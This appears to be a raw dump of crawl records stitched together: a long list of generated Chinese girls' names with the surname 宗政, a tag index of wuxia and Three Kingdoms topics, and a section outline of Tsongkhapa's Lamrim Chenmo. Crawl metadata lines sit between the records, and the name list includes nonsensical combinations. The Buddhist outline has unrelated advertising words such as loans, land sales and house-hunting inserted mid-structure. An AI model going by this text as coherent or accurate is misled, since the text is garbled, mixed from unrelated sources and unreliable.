宗政洵雪 宗政稣莉 宗政势婷 宗政竖琴 宗政缤婵 宗政伶蓉 宗政在蓉 宗政悠莉 宗政娈娜 宗政璇雪 宗政琴铮 宗政茹章 宗政怡周 宗政娅淅 宗政达妹 宗政苏丽 宗政裴杰 宗政合艳 宗政李妹 宗政春霞 宗政国英 宗政秀达 宗政粲嫣 宗政亚筠 宗政金嫣 宗政桠玉 宗政茳琳 宗政蔺茹 宗政摹洁 宗政琳麒 宗政初丽 宗政竺倩 宗政执霞 宗政铱瑶 宗政曙怡 宗政嵌玉 宗政纹萍 宗政次颖 宗政蓉耀 宗政庭莹 宗政夕怡 宗政啸文 宗政莅艳 宗政秀声 宗政燕藜 宗政初妍 宗政律玲 宗政朋秀 宗政随婷 宗政玮妹 宗政芬慧 宗政晟琼 宗政钊红 宗政锂霞 宗政荻美 宗政茹熠 宗政澄萍 宗政怡圻 宗政怡遥 宗政嵋瑶 宗政瑶理 宗政夺玉 宗政妹菊 宗政钋芬 宗政向妍 宗政瑛琛 宗政怡伍 宗政曾倩 宗政贵瑛 宗政汉美 宗政妍英 宗政妍薰 宗政璨艳 宗政莹莼 宗政娜淼 宗政悦聍 宗政族燕 宗政柯分 宗政云燕 宗政怡骊 宗政崔茹 宗政茹晖 宗政瑾任 宗政哿玉 宗政敢琴 宗政鸣嫣 宗政训洁 宗政利琨 宗政鹂美 宗政诚雪 宗政嫣鸿 宗政支艳 宗政鹑花 宗政任芬 宗政瑛铭 宗政埴瑶 宗政里郦 宗政梓红 宗政瑶霸 宗政彬裴 宗政叙红 宗政己琳 宗政羿莉 宗政媛楚 宗政苗琳 宗政慈更 宗政斯娟 宗政壬霞 宗政驭嫣 宗政镁芳 宗政符瑶 宗政艾娅 宗政蕙雪 宗政慈冉 宗政史芳 宗政峥婷 宗政绕文 宗政倩矫 宗政鸿娥 宗政瑛荔 宗政吕燕 宗政觉萍 宗政娅矗 宗政芳芳 宗政金文 宗政焱英 宗政砚燕 宗政熊琳 宗政捡红 宗政悦黉 宗政飒玉 宗政妮瑶 宗政鲨秀 宗政靓梅 宗政取霞 宗政铎娜 宗政怡入 宗政可机 宗政妩妍 宗政玲骄 宗政环珍 宗政瑞谕 宗政倩响 宗政珩艳 宗政升绪 宗政树木 宗政茹莲 宗政蜻霞 宗政妹狗 宗政泞秀 宗政落梅 宗政得艳 宗政琳帛 宗政瑛柔 宗政莉其 宗政官裴 宗政倩画 宗政尹秀 宗政琳粼 宗政丝嫣 宗政婧啡 宗政与悦 宗政雨娅 宗政栗冉 宗政哎瑶 宗政蚝芳 宗政霁蓉 宗政列瑶 宗政谊怡 宗政萍遥 宗政晏美 宗政酉琳 宗政岐雪 宗政骏萍 宗政伙妍 宗政襦秀 宗政钊萍 宗政学文 宗政满颖 宗政邵倩 宗政汉艳 宗政帅婧 宗政栋莉 宗政晖英 宗政氏媛 宗政婷樱 宗政婧蔼 宗政悦中 宗政燕孟 宗政烘霞 宗政莉范 宗政瑾举 宗政心裴 宗政悦助 宗政妍蒂 宗政瑛男 宗政缌芳 宗政瑶颢 宗政如仿 宗政婷纹 宗政娟芙 宗政怡恽 宗政赞芬 宗政曾茹 宗政关娥 宗政枫洁 宗政设文 宗政邱秀 宗政妍颀 宗政见芬 宗政茜干 宗政鹿冉 宗政梵萍 宗政弟娥 宗政茹丽 宗政掊妍 宗政南红 宗政岑婷 宗政里梅 宗政所梅 宗政郦倩 宗政妍音 宗政娥子 宗政翱怡 宗政时筠 宗政帆娅 宗政倩忸 宗政玲辛 宗政央琴 宗政佳美 宗政南文 宗政囿莹 宗政瑛翔 宗政崴瑛 宗政木瑶 宗政蓉居 宗政淞婷 宗政孔文 宗政瑶情 宗政侦莉 宗政菊娥 宗政洽琳 宗政梨娜 宗政糙梅 宗政雁颖 宗政善莉 宗政加洁 宗政柠悦 宗政妍熳 宗政谣艳 宗政肇琼 宗政蜀丽 宗政槟雪 宗政善銮 宗政欧颖 宗政望玉 宗政芬澜 宗政罄茹 宗政杉梅 宗政笔婷 宗政模皎 宗政闵英 宗政杉文 宗政必梅 宗政晋洁 宗政华娅 宗政辞玉 宗政筝莉 宗政襄蓉 宗政莉仲 宗政官镡 宗政廉文 宗政荻琳 宗政佚茹 宗政申玲 宗政梁霞 宗政飞芳 宗政何妹 宗政耘婷 宗政悦绫 宗政后蓉 宗政匀美 宗政墅芬 宗政纳冉 宗政昊娅 宗政涟玉 宗政恋婵 宗政援洁 宗政珥琳 宗政鸥芬 宗政三倩 宗政幽雪 宗政嫣薰 宗政涩燕 宗政芬敏 宗政撷美 宗政业美 宗政程窦 宗政量莉 宗政涉梅 宗政捍梅 宗政邱婧 宗政鸶颖 宗政悦冬 宗政泳丽 宗政娜茹 宗政矜梅 宗政秀岫 宗政晓琼 宗政倍冉 宗政铜茹 宗政瑛青 宗政荃英 宗政霜燕 宗政巽英 宗政洪梅 宗政锘瑛 宗政琳胧 宗政谢怡 宗政年吕 宗政师娅 宗政莉建 宗政崇茹 宗政霞瑜 宗政帅芳 宗政治瑶 宗政玲扬 宗政梨英 宗政茹丝 宗政茜娅 宗政宠媛 宗政博萍 宗政琴洋 宗政瑶茵 宗政瑞文 宗政裴行 宗政存包 宗政郎玉 宗政涑芬 宗政飘红 宗政东裴 宗政锡雪 宗政珠梅 宗政玲哲 宗政钻萍 宗政晨婵 宗政济梅 宗政谕宜 宗政荀玉 宗政片玉 宗政蓉含 宗政秀甘 宗政娟捐 宗政渔倩 宗政娥淬 宗政楂花 宗政骐玉 宗政君萍 宗政揭文 宗政豫酿 宗政荥瑶 宗政婧佶 宗政倩刚 宗政征娥 宗政著艳 宗政蛮琼 宗政铂颖 宗政英婵 宗政坤娥 宗政妩婷 宗政脐悦 宗政姣婧 宗政媛蔚 宗政琳熳 宗政化娟 宗政琳汾 宗政靳茹 宗政怡简 宗政莫颖 宗政娅姣 宗政婷涓 宗政将丽 宗政校媛 宗政娅玉 宗政悦寰 宗政勃茹 宗政涉玉 宗政煅文 宗政辉莉 宗政仕妍 宗政妹淇 宗政婵烨 宗政萍纺 宗政郦雪 宗政莉露 宗政棂嫣 宗政婷沁 宗政达怡 宗政陶青 宗政聪琳 宗政悦萱 宗政美玉 宗政娟六 宗政语媛 宗政磬洁 宗政瑶宸 宗政宽莹 宗政秀沂 宗政荻玲 宗政熔婧 宗政堂萍 宗政湛丽 宗政沐红 宗政婵漪 宗政莹安 宗政庆霞 宗政裴藐 宗政妍李 宗政誉婷 宗政恬娟 宗政耀芬 宗政渔瑶 宗政热梅 宗政智琳 宗政粉美 宗政税琴 宗政下芷 宗政鎏洁 宗政谢红 宗政皎芳 宗政襄红 宗政蜀怡 宗政苗媛 宗政查艳 宗政敏思 宗政萍芬 宗政章婵 宗政枋妍 宗政刚莹 宗政瑛即 宗政倩臣 宗政标美 宗政蕴秀 宗政绍花 宗政进琳 宗政演霞 宗政茹镱 宗政甄怡 宗政羿秀 宗政聍文 宗政韧莹 宗政嘻文 宗政娅箐 宗政婷蓬 宗政蓉慈 宗政双倩 宗政景亿 宗政怡灯 宗政放铃 宗政毅丽 宗政皓倩 宗政菡艳 宗政葛玲 宗政蓉棋 宗政陨玉 宗政榆倩 宗政琰颖 宗政联茹 宗政鸥颖 宗政弋倩 宗政刖悦 宗政燕赛 宗政隐孙 宗政琳尉 宗政再媛 宗政浞文 宗政笾婷 宗政显洁 宗政赛瑛 宗政麦琼 宗政婧疑 宗政柚琳 宗政妤瑛 宗政婧挺 宗政悦黛 宗政絮娅 宗政丕琼 宗政琳埕 宗政曹梅 宗政胭梅 宗政钥悦 宗政骐龄 宗政巴英 宗政蓉淦 宗政酶芳 宗政妹靓 宗政怡营 宗政蔼朝 宗政霞虹 宗政桎颖 宗政双红 宗政韫洁 宗政绩晓 宗政冀蓉 宗政浣颖 宗政琉玉 宗政莹琼 宗政瑛漪 宗政崴萍 宗政奔霞 宗政瑁芳 宗政媛希 宗政燕雷 宗政统怡 宗政椁芳 宗政楮梅 宗政萍丽 宗政忠裴 宗政官琼 宗政韶娥 宗政湫莹 宗政恢燕 宗政朱蓉 宗政悦光 宗政藐瑛 宗政崔琴 宗政倩乾 宗政武莉 宗政苴茹 宗政淑媛 宗政婧夏 宗政桥花 宗政马艳 宗政蒙婷 宗政钇怡 宗政芬非 宗政牛心 宗政莉藻 宗政曾霞 宗政琳增 宗政洵玉 宗政晔蓉 宗政悦听 宗政霞莺 宗政登瑶 宗政渊冉 宗政洱悦 宗政妍已 宗政乾悦 宗政易芬 宗政桌妍属于以官职称谓为氏。希望对大家有所帮助。宗政姓女孩怎么起名?你身边有姓宗政的朋友吗?下面小编带来宗政姓女孩名字2019有福气,宗政(Zōngzhè源于祁姓,出自汉高祖刘邦的后代河间献王刘德。\n关键词: 女孩起名","id":"","dump":"CC-MAIN-2019-51","url":"http:\/\/www.guangdongpost.com\/nvhaiqiming\/388.html","date":"2019-12-08T08:54:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540507109.28\/warc\/CC-MAIN-20191208072107-20191208100107-00420.warc.gz","language":"lzh","language_score":0.8709834218,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.8709834218025208, \"jpn_Jpan_score\": 0.051410987973213196, \"nan_Hani_score\": 0.03953711315989494, \"cmn_Hani_score\": 0.029646078124642372}","num_words":851,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.199,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.871,"perplexity_score":500.0,"cluster_detection":1} +{"text":"所有標籤\n以下為所有討論主題標籤,你可以選擇喜歡的來看看大家在討論什麼?\n游坦之 夏青青 岳不羣 慕容復 連體心法 古龍作品 司馬昭弒君 天地明環 曹仁 曹丕篡漢 玄慈 桃葉仙 天心蓮環 夏侯淵 蔣幹 東興之戰 七殺手 青松劍譜 大人物 劉備 空綁術 泰山派 華陀針 白萬劍 鴛鴦刀 天一掌 月英 暴雨梨花釘 俠客行 任我行 流星蝴蝶劍 楚留香新傳之新月傳奇 怒劍狂花 大意失荊州 鍾會之亂 金蛇劍 博望坡之戰 周倉 笮融 蕭逸 青釭劍 星际浪子 張遼 吳三桂 滿地開花八十—式 霓裳仙舞 穆念慈 定世鞭 竹節鞭 少林派 萬物波動心法 碧海潮生曲 殷離 沙影二十八劍 硃砂掌 呂蒙 圓月彎刀 趙半山 丹心術 曹純 蔡文姬 玉女素心劍法 諸葛亮 不碎金剛 枯禪玄功 神龍教 莫大先生 陸抗 戰神圖錄 幻魔身法 孫堅 倉亭之戰 定閒師太 空明拳 青龍偃月刀 袁承志 無念禪功 武夷派 君子劍 菊花的刺 奕劍術 黃祖 沖虛道長 楚留香傳奇 司馬昭 劉表 化骨綿掌 石亭之戰 無崖子 鴛鴦腿 霍青桐 一串鞭 玉女劍法 桃谷六仙 吳六奇 裂馬槍 蕭摩訶 五帝鐧 射鵰三部曲 曹睿 小鷹爪功 神刀斬 桃花島 孫皓 尹克西 西陵之戰 紅花會 笑傲江湖 日月神教 橫煉罡 菩提心功 伏魔劍法 翔鷹劍法 勞德諾 東方不敗 五虎斷門刀 易京之戰 洪承疇 諸葛亮北伐 蝶雙飛 童子功十三太保橫練 典韋 鬼魅潛蹤 北冥神功 合淝之戰 鰲拜 血海飄香 黑鬼爪 五毒神功 石亭之戰 九陽真經 諸葛亮南征 水笙 賭局 白馬嘯西風 駱冰 程英 狼牙 南匈奴 三十六招鳥啄擊法 神蛛凌空銀絲渡虛 楊成協 無想奼女大法 程普 道心種魔大法 二宮之爭 丁奉 逍遙派 蕭十一郎 徐榮 丐幫 歸辛樹 紫血大法 歸魂十八爪 徐晃 鳩摩智 豔陽刃法 滅神掌 空城計 常赫志 梅超風 張春華 殭屍拳 李牧 流星鎚 霍去病 全真教 完顏洪烈 迷蹤七變 金丹大法 袁紫衣 雲行雨飄 呂玲綺 鍾繇 韋小寶 乾隆 夷陵之戰 旋風十八矛 白世鏡 玩命拳 嫁衣神功 雙手互搏 血鸚鵡 黃鍾公 周伯通 董卓 興勢之戰 寧中則 玄鐵重劍 壽春三叛 書劍恩仇錄 迎風一刀斬 九韶定音劍 曹爽專權 呂母 彭長老 郭靖 楊逍 小龍女 逆水寒 急風十三刺 葵花寶典 于萬亭 三尸腦神丹 法正 移花接玉 劍氣書香 地煞拳 倚天劍 銀雕 男人見不得 楊康 鳳天南 謝煙客 夢姑 奪命簪 李元霸 石雙英 虛竹 法顯 絕代雙驕角色列表 降龍伏虎羅漢拳 雌雄雙股劍 赤壁之戰 柳絮劍法 羊祜 五行劍法 張三李四 吳國太 破精自絕大法 呂布爭徐州 七十二路分筋錯骨手 魅變術 令狐沖 孫曉 飄香劍雨 連城訣 董卓討伐戰 余魚同 太清元功 十住大乘功 散手八撲 瘋魔上天下地一百零七撃 界橋之戰 幻影劍法 上官鼎 九陰真經 左冷禪 龜息功 金錢幫 燕子三抄水 第六天魔王 合淝新城之戰 周芷若 閔柔 十二都天神功 黃天大法 遊俠錄 官渡之戰 挾刀揉手 飛龍五式 李秋水 淑女劍 曹操攻徐州之戰 孫策 太極七截棍 大拍手 李廣 白狼山之戰 凝真九變 朱然 丈八蛇矛 曹操 東興之戰 越女劍 張角 蝴蝶穿花七十二式 韓小瑩 冷月寶刀 龍門鏢局 刀白鳳 楊修 楚留香新傳 雙兒 刑遁術 曹休 孫權建國 枯木神功 丁春秋 雪山飛狐 鷹變十三式 獨孤九劍 王平 夏侯霸 司馬師 鐵脊蛇矛 魯肅 不死印法 馬皇后 張翼 屠龍刀 荊州 絕情谷 崑崙派 齊桓公 鎖子縮骨功 桃枝仙 孫權 劍花煙雨江南 王重陽 益州之戰 霍都 九陽神功 姑蘇慕容 天魔手七十二式 七流星 如意八打 董允 兵器譜 黯然銷魂掌 定逸師太 傻姑 黃蓉 倚天屠龍記 方天畫戟 呂后 臥龍生 一休 護花鈴 天魔擊三大散招 移玉大法 達摩手 于禁 禿筆翁 儀琳 呂壹專權 蒼穹十三式 陽頂天 楚留香新傳之借屍還魂 諸葛瞻 塌上策 小昭 王元姬 天魔心法 余滄海 魏滅蜀之戰 金絲綿掌 左慈 武當掌法 五毒教 炎陽奇功 蒼穹十三劍 五嶽劍派 玄鐵劍法 日月當空 挾天子 碎金剛乘 樊城之戰 死眷術 神君別傳 就地十八滾 打狗棒法 狄雲 蔣琬 先天功 伏虎神拳 尉遲恭 天龍八部 驚魂六記 岳靈珊 金剛門 常伯志 關興 亡神十八掌 費禕 華山派 吳應熊 桃根仙 范遙 大唐雙龍傳 不死七幻 瑛姑 大武俠時代 武當派 蔣濟 日月麗天大法 孤星傳 文泰來 黃忠 歐陽鋒 王語嫣 鬼王鞭 韓當 林朝英 趙志敬 鄭丰 封天閉地 陳到 文醜 劍毒梅香 凌波微步 尉遲敬德 飛鶯飛鷹 袖裡乾坤 段譽 雙修大法 天外飛仙 藏密智能書 江夏戰神 覆雨翻雲 孫尚香 五絕神功 九轉還童 丞相 陳宮 夏侯惇 慈航劍典 長平公主 星宿派 武當七俠 瀟湘子 仙門劍訣 田伯光 絕代雙驕 林平之 金輪法王 南皮之戰 九字真言手印 五虎斷門刀 馮錫范 天魔大法 鐵騎快劍 破碎虚空 丁不三 韋一笑 飛天狐狸 梁羽生 達爾巴 黃藥師 碧落紅塵 羅漢伏虎拳 太虛勁 陳近南 四大名捕 左手刀法 孫策平江東之戰 歡樂英雄 擒拿截脈法 晉滅吳之戰 白骨爪 歸藏鞭 大喬 曹叡 雷霆刀法 湘妃劍 黃皓 魯有腳 吳質 司馬懿 彈指神通 洪七公 關平 臥龍 天外流星 張無忌 福康安 起風了 屯田制 的盧 折花百式 魅影劍法 建安文學 明玉功 奼女心法 西蜀地形圖 華山論劍 失魂引 周瑜 梅花鉤 清風十三式 徐庶 謝遜 回轉斧法三十式 大地飛鷹 鹿鼎記 郭芙 流雲飛袖 扭轉乾坤殺手劍 耶律齊 魏滅蜀之戰 方證大師 飛伏一百零八槍 鬼火十三拍 關羽 枯榮大師 聖火令 摩尼教 誰來跟我乾杯 仇國論 子貴母死 穿雲劍法 石破天 劉備稱帝 鮑三娘 華山派 吸星大法 街亭 三少爺的劍 無塵道長 天魅凝陰 張三丰 涼州軍劫天子 段正淳 風清揚 嵩山十三太保 廖化 神州奇俠 姜維 戚芳 九難 丁璫 古墓派 慕容博 御盡萬法根源智經 古龍 幽灵山庄 布衣神相 武三通 公孫綠萼 賈詡 賈南風 阿青 衛春華 飛刀,又見飛刀 少林三渡 伊達政宗 甘寧 文鴦 天鷹教 掩月劍法 索額圖 李典 諸葛誕 陳家洛 龍木島主 林遠圖 捨身大法 金庸 康熙 阿朱 定靜師太 不戒和尚 彼岸劍訣 姜維北伐 燎原百擊 九轉無相神功 吳起 劉禪 許褚 馬謖 先天氣功 紫氣天羅 魅影身法 木婉清 儀琳 星彩 夏姬 丁不四 七禽身法 丁典 九玄大法 尋秦記 覆雨劍法 逍遙拆 狂沙刀法 徐天宏 刀劍雙殺七七四十九式 玉女媚術 張郃 月異星邪 荀攸 曹洪 蘇荃 七殺拳 楊過 張苞 沉沙劍法 天山童姥 群狐 劍客行 陸小鳳傳奇 黃皓專權 大圓滿杖法 一扇十八搖 化石神功 李莫愁 甄姬 魏晉玄學 趙雲 青城派 滿寵 七种武器 韋春花 交阯之亂 決戰前後 劍玄錄 毛玠 七傷拳 白自在 魏延 碧血劍 龍吟曲 換日大法 六脈神劍 絕不低頭 魔佛十式 胡斐 織女劍法 倪匡 飛燕七式 練師 張大春 青龍會 龐德 劍罡同流 張召重 馬岱 張飛 恆山派 飛龍大九式 炎元真氣 桃實仙 譙周 裘千仞 史火龍 貂蟬 郭襄 下邳之戰 鄧艾 王異 歐陽克 情人箭 夷陵之戰 關索 任盈盈 雙尖軟矛 曹丕伐吳 東洋神風刀法 七星龍王 彩環曲 趙敏 天涯明月刀 碧血洗銀槍 一燈大師 大手印 公孫止 方怡 變天擊地大法 心佛掌 蔣四根 徐盛 天地明環 康敏 披風杖法 鐵蒺藜骨朵 合淝之戰 四大惡人 衡山派 荊楚爭雄記 胡昭 德川家康 石田三成 溫瑞安 漢中之戰 八賢王 名劍風流 冰玄勁 白阿繡 章進 邊城浪子 水雲袖法 黃權 梅花鉤 無相神功 斷絕神功 降龍十八掌 鄧芝 種玉大法 曹操迎天子 曹操討伐袁術之戰 關銀屏 朱子柳 賈充 多情劍客無情劍 陸遜 裘千尺 九月鷹飛 大旗英雄傳 宗預 花間十二支 白玉老虎 英雄無淚 金蛇郎君 鍾會 滅絕師太 銀龍手 龐統 玄氣大法 建寧公主 祝融 貝海石 孫皓暴政 大開碑手 石清 一指頭禪 奇功絕藝榜 摘心手 蒼穹神劍 成昆 風鈴中的刀聲 太虛錯手 殘金缺玉 大元丹法 石中玉 九品中正制 楊頂天 程靈素 江南七怪 阿紫 崆峒派 魔心連環 諸葛恪 武林外史 全真七子 明珠 靈犀一指 馬超 太史慈 呂布 潼關之戰 羅憲 心硯 馬大元 喬鋒 阿珂 伏養氣功 小喬 韋小寶 血戰十式 軟蝟甲 辟邪劍法 蕭遠山 段正明 飛狐外傳 燕子雙飛 尼摩星 少林神拳 蛤蟆功 丞相,起風了 高平陵之變 海大富 鳥渡術 楚留香新傳之蝙蝠傳奇 海神 烏金血劍 無想十法 陸無雙 黃蓋 滿天花雨 楊儀 梵我如一 隆中對 壽春馳援 流星鎚 永安之戰 桃幹仙 馬忠 郭嘉 阿九 牛郎一百零八棍 周泰 長河正氣 衛青 夏侯嬰 奪命十三劍 逍遙訣 曹丕 井中八法 火併蕭十一郎 武田信玄 銅錘 掃地僧 神鵰俠侶 藍鳳凰 桃花仙 孟獲 郭淮 內家橫練 嵩山派 樂進 丹青生 浣花洗劍錄 郭馬之亂 峨嵋派 曹真 沐劍屏 風萍掌 郭解 荀彧 金針開穴之法 曾柔 袁紹 破蓮八著 紫霞神功 飛鷹十三刺 鍾靈 邊荒傳說 汪劍通 紫微軟劍 合肥之戰 黑白子 嫁衣神功 凌統","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/www.herostory.tw\/alltags","date":"2020-01-27T19:44:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579251705142.94\/warc\/CC-MAIN-20200127174507-20200127204507-00280.warc.gz","language":"lzh","language_score":0.5900563002,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.590056300163269, \"nan_Hani_score\": 0.25269562005996704, \"cmn_Hani_score\": 0.12175016105175018, \"yue_Hani_score\": 0.03296074643731117}","num_words":825,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.593,"perplexity_score":500.0,"cluster_detection":1} +{"text":"菩提道次地廣論的架構與體系(科判) 更精采的道次地廣論科判 ->http:\/\/member.giga.net.tw\/lanceyy\/PTD\/PTD1\/ptd_index.htm 菩提道次第廣論 宗喀巴大師造 【法名洛桑札巴﹐一三五七 ~ 一四一九﹐西藏。安多古本人(塔爾寺)是格魯派創始人】 法尊法師譯 【法尊法師﹐一九○二 ~ 一九八○】 菩提道次第廣論科判 甲一 初歸敬頌及略述本論之重要 甲二 次開為四門 乙一 為顯其法根源淨故開示造者殊胜分三 丙一 圓滿种中受生事理 丙二 其身獲得功德事理分二 丁一 知見廣博獲教功德事理 丁二 如理修行獲證功德事理 丙三 得已于教所作事業分二 丁一 于印度所作事理 丁二 藏中所作事理 乙二 令于教授起敬重故開示其法殊胜分四 丙一 通達一切圣教無違殊胜 丙二 一切圣言現為教授殊胜 丙三 易于獲得胜者密意殊胜 丙四 極大罪行自趣消滅殊胜 乙三 如何說聞二种殊胜相應正法分三 丙一 听聞軌理分三 丁一 思惟聞法所有胜利 丁二 于法法師發起承事 丁三 正听軌理分二 戊一 斷器三過 戊二 依六种想 丙二 講說軌理分四 丁一 思惟說法所有胜利 丁二 發起承事大師及法 丁三 以何意樂及加行而說 丁四 于何等境應說不說所有差別 丙三 于完結時共作軌理 乙四 如何正以教授引導學徒之次第分二 丙一 道之根本親近知識軌理分二 丁一 令發定解故稍開宣說分六 戊一 所依善知識之相 戊二 能依學者之相 戊三 彼應如何依師之理分二 已一 意樂親近軌理分三 庚一 總示親近意樂 庚二 特申修信以為根本 庚三 隨念深恩應起敬重 已二 加行親近軌理 戊四 依止胜利 戊五 未依過患 戊六 攝彼等義 丁二 總略宣說修持軌理分二 戊一 正明修法分二 已一 正修時應如何分三 庚一 加行 庚二 正行分二 辛一 總共修法 辛二 此處修法 庚三 完結 已二 未修中間應如何 戊二 破除此中邪妄分別 丙二 既親近已如何修心次第分二 丁一 于有暇身勸取心要分三 戊一 正明暇滿分二 已一 閑暇 已二 圓滿 戊二 思其義大 票貼 戊三 思惟難得 丁二 如何攝取心要之理分二 戊一 于道總建立發決定解分二 已一 三士道中總攝一切至言之理 已二 顯示由三士門如次引導之因相分二 庚一 顯示何為由三士道引導之義 庚二 如是次第引導之因相分二 辛一 正明因相 辛二 所為義 戊二 正于彼道取心要之理分三 已一 于共下士道次修心分三 庚一 正修下士意樂分二 辛一 發生希求后世之心分二 壬一 思惟此世不能久住憶念必死分四 癸一 未修念死所有過患 癸二 修習胜利 癸三 當發何等念死之心 癸四 修念死理分三 子一 思決定死 子二 思惟死無定期 子三 思惟死時除法而外余皆無益 壬二 思惟后世當生何趣二趣苦樂分三 癸一 思惟地獄所有眾苦分四 子一 大有情地獄 子二 近邊地獄 子三 寒冷地獄 子四 獨一地獄 癸一 旁生所有眾苦 癸二 餓鬼所有眾苦 辛二 依止后世安樂方便分二 壬一 趣入圣教最胜之門淨修歸依分四 癸一 由依何事為歸依因 癸二 由依彼故所歸之境分二 子一 正明其境 子二 應歸依此之因相 癸三 由何道理而正歸依分四 子一 知功德分三 丑一 佛功德 丑二 法功德 丑三 僧功德 子二 知差別 子三 自誓受 子四 不言有余而正歸依 癸四 既歸依已所學次第分二 子一 攝分中出 子二 教授中出分二 丑一 別學分二 寅一 遮止應學 寅二 修行應學 丑二 共學 壬二 一切善樂所有根本發深忍信分三 癸一 思總業果分二 子一 正明思總之理 子二 分別思惟分二 丑一 顯十業道而為上首 丑二 抉擇業果分三 寅一 顯示黑業果分三 開幕活動 卯一 正顯示黑業道 卯二 輕重差別分二 辰一 十業道輕重 辰二 兼略顯示具力業門 卯三 此等之果 寅二 白業果分二 卯一 白業 卯二 果 寅三 業余差別 癸二 思別業果分三 子一 异熟功德 子二 异熟果報 子三 异熟因緣 癸三 思已正行進止之理分二 子一 總示 子二 特以四力淨修道理 庚二 發此意樂之量 庚三 除遣此中邪執 已二 于共中士道次修心分四 庚一 正修意樂分二 辛一 明求解脫之心 辛二 發此之方便分二 壬一 由于苦集門中思惟分二 癸一 思惟苦諦生死過患分二 子一 顯示四諦先談苦諦之意趣 子二 正修苦諦分二 丑一 思惟生死總苦分三 寅一 思惟八苦 寅二 思惟六苦 寅三 思惟三苦 丑二 思惟別苦分四 寅一 三惡趣苦 寅二 人苦 寅三 非天苦 寅四 天苦分二 卯一 欲天三苦 卯二 上二界粗重苦 癸二 思惟集諦流轉次第分三 子一 煩惱發生之理分四 丑一 正明煩惱 丑二 如何生起之次第 丑三 煩惱之因 丑四 煩惱過患難 子二 彼集業之理分二 丑一 正明所集之業分二 寅一 思業 寅二 思已業 丑二 如何集業之理 子三 死沒及結生之理分五 丑一 死緣 丑二 死心 丑三 從何攝暖 丑四 死后成辦中有之理 丑五 次于生有受生道理 壬二 由于十二緣起思惟分四 癸一 支分差別 癸二 支分略攝 癸三 几世圓滿?面膜@ 癸四 此等攝義 庚二 彼生起之量 庚三 除遣于此邪執分別 庚四 抉擇能趣解脫道性分二 辛一 以何等身滅除生死 辛二 修何等道而為滅除 已三 于上士道次修心分三 庚一 顯示入大乘門惟是發心 庚二 如何發生此心道理分四 辛一 由依何因如何生起 辛二 修菩提心次第分二 壬一 七种因果教授分二 癸一 于其漸次令發定解分二 子一 開示大乘道之根本即是大悲 子二 諸余因果是此因果道理 癸二 如次正修分三 子一 修習希求利他之心分二 丑一 引發生起此心所依分二 寅一 于諸有情令心平等 寅二 修此一切成悅意相 丑二 正發此心分三 寅一 修慈 寅二 修悲 寅三 修增上意樂 子二 修習希求菩提之心 子三 明所修果即為發心 壬二 寂天教授分三 癸一 思惟自他能換胜利及不換過患 癸二 若能修習彼心定能發生 癸三 修習自他相換法次第分二 子一 除其障礙 子二 正明修法 辛三 發起之量 辛四 儀軌受法分三 壬一 未得令得分三 癸一 所受之境 癸二 能受之依 癸三 如何受之軌則分三 子一 加行儀軌分三 丑一 受胜歸依分三 寅一 庄嚴處所安布塔像陳設供物 寅二 勸請歸依 寅三 說歸依學處 丑二 積集資糧 丑三 淨修意樂 子二 正行儀軌 子三 完結儀軌 壬二 己得守護不坏分二 癸一 修學現法不退發心之因分四 子一 為于發心增歡喜故應當修學憶念胜利 子二 正令增長所發心故應當修學六次發心分二 丑一 不舍所發心愿 丑二 學令增長 子三 為利有情而發其心應學其心不舍有情 借貸 子四 修學積集福智資糧 癸二 修學余生不离發心之因分二 子一 斷除能失四种黑法 子二 受行不失四种白法 壬三 設坏還出之方便 庚三 既發心已學行道理分三 辛一 發心已后須學學處之因相 辛二 顯示學習智慧方便一分不能成佛 辛三 正釋學習學處之次第分二 壬一 于總大乘學習道理分三 癸一 淨修欲學菩薩學處 癸二 修已受取佛子律儀 癸三 受已如何學習道理分三 子一 何所學處 子二 其中能攝諸學道理分二 丑一 正義數量決定 丑二 兼說次第決定 子三 于此如何學習次第分二 丑一 初于總行學習道理分二 寅一 學習六度熟自佛法分六 卯一 學習布施分四 辰一 布施度性 辰二 轉趣發起布施方便 辰三 布施差別分三 巳一 總一切依當如何行 巳二 觀待別依所有差別 巳三 布施自性所有差別分三 午一 法施 午二 無畏施 午三 財施分二 未一 實舍財施分三 申一 舍財道理分四 酉一 惠施何田 酉二 何心惠施 酉三 如何行施 酉四 施何等物分二 戌一 略示應舍不應舍物 戌二 廣釋分二 亥一 廣釋內物可舍不舍 亥二 廣釋外物可舍不舍分二 天一 不舍外物道理 天二 惠施外物道理 申二 若不能舍當如何行 申三 習近對治布施障礙 未二 惟意樂施 土地買賣 辰四 此等略義 卯二 學習持戒分五 辰一 尸羅自性 辰二 趣入修習尸羅方便 辰三 尸羅差別分三 巳一 律儀戒 巳二 攝善法戒 巳三 饒益有情戒 辰四 修尸羅時應如何行 辰五 此等攝義 卯三 學習忍辱分五 辰一 忍之自性 辰二 趣入修忍之方便 辰三 忍之差別分三 巳一 耐怨害忍分二 午一 破除不忍怨所作害分二 未一 破除不忍障樂作苦分二 申一 顯示理不應嗔分三 酉一 觀察境 酉二 有境 酉三 所依嗔非應理 申二 顯示理應悲愍 未二 破除不忍障利等三作毀等三分二 申一 破除不忍障譽等三分三 酉一 思惟譽等無功德之理 酉二 思惟有過失之理 酉三 故于破此應當歡喜 申二 破除不忍作毀等三 午二 破除不喜怨家富盛喜其衰敗 巳二 安受苦忍分三 午一 必須安受苦之理 午二 引發此之方便分二 未一 有苦生時破除專一執為不喜 未二 顯示其苦理應忍受分三 申一 思惟苦之功德 申二 思惟能忍眾苦難行之功德分二 酉一 思解脫等諸大胜利 酉二 思能遮止無量大苦所有胜利 申三 從微漸修無難之理 午三 處門廣釋 找房子 巳三 思擇法忍 辰四 修忍時如何行 辰五 此等攝義 卯四 學習精進分五 辰一 精進自性 辰二 趣入修習精進方便 辰三 精進差別分二 巳一 正明差別分三 午一 擐甲精進 午二 攝善法精進 午三 饒益有情精進 巳二 發生精進之方便分四 午一 